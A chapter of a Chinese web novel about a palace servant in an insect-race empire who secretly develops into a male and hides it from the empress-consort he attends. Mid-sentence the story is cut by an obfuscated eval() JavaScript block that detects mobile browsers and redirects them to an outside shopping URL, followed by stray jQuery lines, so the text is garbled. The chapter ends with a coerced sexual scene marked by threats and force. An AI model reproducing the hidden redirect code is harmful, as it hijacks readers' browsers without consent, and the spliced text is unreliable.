让芬恩庆幸的是,他并不是高等雄虫,也就意味着他的拟人态还会保留某种虫形特征,比如他薄如蝉翼的翅膀和虫子的口器不会因为尾勾的发育而消失。
当然了,要是高等雄虫就更好了,这样他就可以凭借高级雄虫的身份傍上富婆,走上虫生巅峰。
不过那种好事也只能想一想,他能苟且到出宫自由就不错了。
要知道,这个世界雄少雌多,雌虫力量更强大,很多高级雌虫会豢养雄虫,哪怕是低等的,也会用来当抚慰品。
毕竟雌虫没有尾勾,无法进行交那个尾,只能雄虫来。
亚雄没有生育能力,但低等雄虫的生育力低下,是当抚慰品的料子。
芬恩并不觉得发育成低等雄虫有多好,这意味着身份被发现后,他会死无葬身之地。
他只要藏好自己的尾勾就好了,真是离了大谱,好好的亚雌在伺候帝后的过程中,慢慢地发育成了雄虫,要是知道他一个雄虫在帝后宫中当差,不仅帝后的名誉要受损,他也活不了多长时间,他的家族更是别想安稳。
芬恩决定藏好尾勾,好在拟人态的雄虫,尾勾不会有多夸张,衣服是能遮住的,他把尾勾顺着尾椎骨,在腰上盘了一圈,当皮带使了。
尾勾和各种特征不蜕化的状态,也充分说明了他的等级有多低,高等雄虫都可以用精神力隐藏自己的尾勾,完全拟人化。
芬恩这个菜虫,连最基本的拟人都不行,还保留着虫形特征,他都不明白帝后是从哪里看出来他长得不错的?
一晚上没睡好,第二天还要起早伺候帝后,洗漱的间歇,他终于忍不住看了镜子,发现自己的皮肤比前几天要白,本来呈现浅淡蓝的眼眸,颜色也稍微加深,和帝后说的湖泊蓝差不多,皮肤状态更是吹弹可破。
只要不张嘴,看不到他拟虫的口器,这张脸确实能让人过目不忘,芬恩觉得这不行,会招惹祸事。
于是他把头发弄得乱乱的,平时会仔细梳理头发,一剪刀直接剪短前面的长发,遮住了一只眼,狗啃的一样。
这样就好点了,他不明白,雄虫的发育会伴随容貌的改变,按道理来说,雄虫不是应该越发育越健壮,为什么他越发育越像个男狐狸精?
这个星际虫族世界是和人类反着来的吗?
不对,最早的人类,也是雄性负责美貌,就像很多动物都一直延续着这一特征,雄性比雌性更漂亮。
看来是返璞归真了,但芬恩觉得真不是什么好事。
被折磨了一夜的帝后,竟然能忍住易感期的折磨,芬恩端着特质的金色脸盆打了水供到帝后床边,恭敬跪下:“帝后,该洗漱用早膳了。”
一双纤长漂亮的手先从白色的床幔中伸出,芬恩很识相地伸手搀扶,去扶他起床,只不过比帝后更先到的是那馥郁花香味的信息素,芬恩不适地蹙了蹙鼻子。
他怀疑就是帝后这信息素促进了他的发育,原本他是被诊断为亚雌的,本该对雌虫的信息素没感觉。
从他感觉浑身发痒犹如蚂蚁啃噬就不对劲了,当晚还真发育成了雄虫,雄虫哪怕多低等,对雌虫的信息素感应都很强烈。
他感觉自己盘在腰上的东西,有什么要在顶头呼之欲出,正蠢蠢欲动地试探。
芬恩深吸一口气,把帝后扶起来,再用纯棉质的手帕浸水,拧干,擦拭他的手,胳膊……他同样修长的手指掠过帝后白皙的皮肤,看到胸前一道狰狞的疤痕,那是他作为帝国大将军时的勋章。
芬恩只想快速伺候他洗漱完逃离这里,他得想个办法把伺候帝后起居的事情推脱出去,他是亚雌时,帝后怎么刁难他都没事,他愿意在这里当差。
可现在不行了,帝后的信息素无孔不入,虫族雌性的易感期相当长,得不到雄虫的信息素,有的能长达三个月。
越是强壮的雌虫,易感期越是强烈,就像帝后这种的,一阵抑制剂可能也就管几个小时,若不是他已和虫皇成婚,芬恩都想建议他找雄虫当男宠。
反正那个狗虫皇又不在乎他,但芬恩也知道,帝后身上系的不是他一个人的命运,而是整个家族,他要是有点什么风吹草动,家族绝对受牵连。
这也是泽费里诺忍耐的原因,即使知道虫皇要毁了他,他也得忍气吞声,毕竟他已经把一半的兵力交到了虫皇手上,如果这个陛下对他的家族动手,那事态会很严重。
芬恩有点同情他,不过他这个小小雄虫目前只想活下来,给帝后擦洗完手脚,他闭着眼睛,芬恩又擦过他剑眉星目的眉眼,他在心里感慨,一个虫子拟人态,怎么能帅成这个样子。
不,准确来说,已经不能用帅形容,而是美……
不可方物。
泽费里诺感觉到他的呼吸有些紧促,微微抬眼看他的神色:“洛菲斯,你很紧张?”
这个亚雌好像比昨天更好看了,虽然那右边狗啃的刘海挡住了半只湖泊似的眼,泽费里诺还是感觉到了他的不寻常。
一把抓住亚雌的手腕,泽费里诺眼里似有火焰在燃烧:“为什么,只是过了一晚,你的容貌又变了?”
芬恩胆战心惊,假装听不懂他在说什么:“帝后,您冷静点,小的一直都是这个样子,没有什么变化,兴许是您被易感期折磨狠了……”
泽费里诺半信半疑地放开了他的手腕,却发现之前他怎么抓都不会有事的手腕,今天一碰就红,高级雌虫眼中的意味变得莫测。
只有雄虫才会这么敏,雌虫力量强大,哪怕亚雌也不会因为这个动作而皮肤泛红。
只有雄虫……并且不是亚雄。
亚雄的尾勾发育不完全,反映在外表上就是皮肤显得粗糙,面相没那么细腻。
可是这个亚雌最近两天皮肤越发吹弹,细腻过分,泽费里诺初步断定这个亚雌对自己的信息素有感应。
不对,只有雄虫对信息素有感应,雌虫不会。
当了这么多年雌虫,领兵打仗好几年,他怎么可能没见过没发育完全的雄虫长什么样?
带兵打仗时,随军的雄虫都是低等雄虫,一来低等雄虫生育力低下,避免雌虫战士怀孕,二来可以安抚雌虫的精神力,也可以当抚慰品。
他泽费里诺不是被豢养在后宫的傻白甜,没有什么能瞒得过他,这个亚雌,不,这个低等雄虫起初确实是被当成亚雌送进来的,是因为一头银发被他选中,让人带了来。
雌虫有银发的,但很少,泽费里诺喜欢银发,因为虫皇塞塔斯的头发是银色的,加上这个亚雌眼睛也带点蓝,他就更喜欢了,便让随身伺候。
想来他进宫也是家族深思熟虑过的,亚雌在社会上的地位也不怎么高,一个家族出了亚雌,也就低人一等,讨个亚雄当伴侣都算高攀,可是在皇宫侍奉过就不一样了。
侍奉过虫皇和帝后,那地位就高虫一等,也就可以选低等雄虫或者高等雄虫当伴侣。
这也是为什么那么多亚雌选择进宫侍奉的原因,洛菲斯也是被家人送来“镶金边”的。
泽费里诺看了看侍从那张故意扮丑的脸,指尖不经意地从他唇边划过:“可以了,用膳吧。”
芬恩终于松了一口气:“是,帝后。”
早膳是各种各样各种口味的营养剂,这个时代,浓缩的营养剂已经代替了饮食,方便运送也方便携带,饿了就喝一支,营养齐全,饱腹感满满。
芬恩饿了一天,闻到味道更饿了,可他的营养剂已经用完,过几天才发下半个月的营养剂。
站在帝后身边,打开草莓味的营养剂,芬恩的肚子在咕咕乱叫。
帝后听到了,将他刚打开的一瓶赏赐给他:“我不想吃这个口味,要吃玫瑰香的。”
芬恩啊了一声:“那这一支已经打开了。”
泽费里诺沉声道:“你想办法解决了吧,不要浪费,我不喜欢浪费食物。”
芬恩紧握着那瓶营养剂,有种莫名的感动,帝后是故意给他吃的。
谁说帝后很坏,他是芬恩目前见过最好的虫!
他犹豫了片刻,不知道该不该喝下去,帝后不耐烦地催促:“洛菲斯,我要吃玫瑰味的。”
芬恩只得快速将那瓶营养剂喝下,只觉得一股奇特的力量通过细胞透过皮肤,原本干瘪的细胞,被力量充沛。
他赶紧跑过去把玫瑰味的营养剂给帝后打开,看着帝后慢条斯理地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521295|203321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝下去,红色的液体有一丁点顺着唇角落下,芬恩看着拟人雌虫滚动的清晰喉结,咽了咽唾沫。
他意识到自己对泽费里诺咽口水后,心里简直震惊。
芬恩,你怕不是疯了,你对一个长着人类男人器官的虫子发什么情?
是的,完全拟人态的虫子们都有人类的器官,芬恩也有,只不过不是用来繁育,是用来排泄,真正用来繁育的器具是尾勾。
也就是他昨天长出来的那个……
寝殿内的信息素浓度少了一点,芬恩没那么难受,伺候帝后用膳完毕,又跟他去后花园散心。
芬恩趁着收拾餐厅的空余,试图让亚雌侍从总管米安换个人伺候帝后,他说自己最近身体不好。
米安冷冷地看了他一眼,总觉得哪里不对:“能伺候帝后是你的福气,以后出了宫,雄虫都得高看你一眼,你有什么不满意的?”
芬恩赔着笑脸:“米安哥哥说的是,这是我的荣幸,可我生病了,有点咳嗽,帝后又处于易感期,要是有点什么不好的东西进入他的腺体,那会很麻烦。”
米安想了想,确实会出事:“那行吧,你和安亚妮换一下岗,你在殿外伺候,晚上不用陪在帝后寝宫内。”
芬恩舒了口气:“好,谢谢哥哥,下次发的营养剂我会孝敬您。”
米安这才挥动着翅膀走了:“怪不得帝后喜欢你伺候在身边,确实很会来事儿,等你病好了,你再和安亚妮换过来。”
芬恩心想,要是能躲过帝后的易感期就好了,不然他总是被雌虫的信息素折磨。
哪怕他多直,穿成了这样一个世界的低等雄虫,在结构上还是抵抗不了。
他和殿外侍奉的亚雌安亚妮换岗了,晚膳的时候,帝后大发雷霆,将一桌子的营养剂掀翻在了餐厅,怒骂侍从,洛菲斯去哪里了?
一群亚雌被吓得不敢说话,跪了一地,生怕又被帝后折磨,芬恩正准备去厨房吃点比较麻烦的料理,米安急匆匆跑来喊他!
“洛菲斯!快点,帝后又发脾气,找你!”
芬恩真服了,问他,帝后因为什么发脾气,米安也不知道。
他只得去看情况,帝后正对一个亚雌发脾气,看到他来了,眼神更是阴婺。
芬恩被他看得头皮发麻,小心翼翼地走过去,将地上的营养剂捡起来:“您怎么了?”
泽费里诺唇角勾起一抹冷笑,让所有亚雌退下:“我的寝宫,以后只准洛菲斯一个人进,谁敢违抗,死路一条。”
亚雌侍从们大气不敢出,不知道帝后为什么如此,这个洛菲斯到底有什么能耐,竟然能让帝国的铁血玫瑰只依赖他。
芬恩有种不好的预感,伺候帝后用完膳,他只得和安亚妮又把岗位换回来。
可是让芬恩震惊的是,帝后也不肯让亚雌在殿外侍奉,全部打发了,只留下他一个。
芬恩的心悬在嗓子眼,在帝后没就寝前,他是一刻也无法松懈,终于熬到了天黑。
殿内亮如白昼,他站在床沿,透过纱幔看到了帝后那在背上长出的黑色翅膀,夸张地简直就像道具。
黑发散乱地落在他的背上,他伸长手臂,侧身掀起帷幔,一双沉墨一样锐利的眼睛,望向床头站着的人。
“洛菲斯,上来。”
芬恩被吓得不敢动。
“您该休息了。”
泽费里诺的低沉的嗓音带了怒气:“违抗命令?你有几条命?”
芬恩腿肚子开始发抖:“帝后,您万金之躯,小的只不过是个亚雌,会玷污您……”
泽费里诺冷笑一声,没给芬恩考虑的机会,一伸手,强大的精神力支配,芬恩被他隔空抓到了床上。
芬恩还没反应过来,衣服已经被撕碎,缠在腰上的尾勾被人一把捏在了手里。
那绝美雌虫欺身而上,压在他身上,身后的翅膀都像在欢呼,温热的气息落在芬恩的唇上,芬恩两眼瞪得老大。
泽费里诺修长的手指拂过他尾勾的顶端,抹去透明的水渍,眼神似鹰隼盯着猎物,看着他的脸:“哦,原来是雄虫啊,这么藏着尾勾不累吗?真可怜,都吐口水了,馋我的身子了?”